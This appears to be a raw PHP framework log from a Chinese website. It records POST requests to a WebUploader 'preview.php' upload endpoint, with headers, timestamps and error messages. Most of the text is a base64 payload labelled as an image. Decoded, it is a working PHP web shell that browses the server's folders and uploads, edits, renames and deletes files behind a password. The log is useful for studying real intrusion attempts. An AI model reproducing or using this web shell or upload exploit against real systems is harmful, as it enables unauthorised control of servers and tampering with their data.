'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:42+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/static/admin/webuploader/0.1.5/server/preview.php [运行时间:0.002672s] [吞吐率:374.26req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 